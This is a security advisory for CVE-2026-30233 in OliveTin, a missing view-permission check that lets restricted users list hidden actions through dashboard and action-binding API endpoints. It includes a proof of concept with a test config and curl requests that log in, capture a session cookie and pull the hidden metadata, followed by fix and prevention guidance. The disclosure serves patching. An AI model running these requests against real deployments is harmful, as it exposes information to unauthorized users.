GHSA-jf73-858c-54pg CVE-2026-30233 GO-2026-4629
OliveTin doesn't check view permission when returning dashboards
- Severity
- 6.5 / 10
- Medium ยท CVSS 3.1
- Exploit chance (EPSS)
- 0.46%
- Chance of exploitation in the next 30 days. Higher than 39.85% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-862 Missing Authorization
- Fix
0.0.0-20260305082002-d7962710e7c4- Upgrade github.com/OliveTin/OliveTin to this version or later
Description
Summary
An authorization flaw in OliveTin allows authenticated users with view: false permission to enumerate action bindings and metadata via dashboard and API endpoints.
Although execution (exec) may be correctly denied, the backend does not enforce IsAllowedView() when constructing dashboard and action binding responses. As a result, restricted users can retrieve action titles, IDs, icons, and argument metadata.
Details
OliveTin defines a view permission in its ACL model (acl.go). However, this permission is not consistently enforced when building dashboard and action metadata responses.
Relevant source locations:
dashboards.go (around line 120, 132) apiActions.go (around line 122) acl.go (around line 125) api.go (around line 430)
Dashboard building logic:
for _, binding := range rr.ex.MapActionBindings {
if binding.Action.Hidden { continue }
action := buildAction(binding, rr) // checks IsAllowedExec only
fieldset.Contents = append(fieldset.Contents, ...)
}
Why vulnerable: IsAllowedView() exists but is not enforced when building dashboard/action metadata. Users with view:false still receive action titles/icons/argument metadata (with canExec:false).
PoC
- Configure OliveTin with a restricted user:
Create config.yaml:
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: admin
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: admin123
permissions:
view: true
exec: true
logs: true
- username: low
password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4" # password: low123
permissions:
view: false # Should hide all actions
exec: false
logs: false
actions:
- title: "Secret Action"
id: secret_action
shell: echo "sensitive operation"
icon: "๐"
description: "This action should be completely hidden"
arguments:
- name: target
title: Target
type: string
default: production
-
Start OliveTin with this configuration
-
Login as low-privilege user and capture session ID:
# Login as low user
LOW_SID=$(curl -s -i -X POST http://localhost:1337/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"low123"}' \
| awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}' | tr -d ' ')
echo "Low user SID: $LOW_SID"
- Verify the web UI respects view:false (optional but illustrative):
Open http://localhost:1337 in a browser logged in as low user - the "Secret Action" should NOT appear in the UI.
- Test 1: GetDashboard endpoint leaks action metadata:
curl -s -X POST http://localhost:1337/api/GetDashboard \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"title":"Actions"}' | jq '.fieldsets[0].contents[] | select(.action.bindingId=="secret_action")'
Expected behavior (if fixed): Empty result or no matching action Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "๐",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [
{
"name": "target",
"title": "Target",
"type": "string",
"default": "production"
}
]
}
}
- Test 2: GetActionBinding endpoint directly exposes action details:
curl -s -X POST http://localhost:1337/api/GetActionBinding \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"bindingId":"secret_action"}' | jq '.'
Expected behavior (if fixed): HTTP 403 Permission Denied Observed behavior (vulnerable):
{
"action": {
"bindingId": "secret_action",
"title": "Secret Action",
"icon": "๐",
"description": "This action should be completely hidden",
"canExec": false,
"arguments": [...]
}
}
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/OliveTin/OliveTin | < 0.0.0-20260305082002-d7962710e7c4 |
0.0.0-20260305082002-d7962710e7c4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/OliveTin/OliveTin Go โ 0.0.0-20260305082002-d7962710e7c4
- go
go get github.com/OliveTin/OliveTin@v0.0.0-20260305082002-d7962710e7c4 && go mod tidy
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-jm28-2wcr-qf3h OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xc5w-4v5w-7x65 OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-xpxj-f2fm-rqch OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth) | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-prj9-97mp-mwh2 OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-f637-w7p2-m7fx OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration | Low | Also affects github.com/OliveTin/OliveTin |
| GHSA-7fq5-7wr8-rjwj OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination | High | Also affects github.com/OliveTin/OliveTin |
| GHSA-xx6g-43w2-9g6g OliveTin's email argument makes compliance harder, enables log injection | Medium | Also affects github.com/OliveTin/OliveTin |
| GHSA-228v-wc5r-j8m7 OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream | Medium | Also affects github.com/OliveTin/OliveTin |
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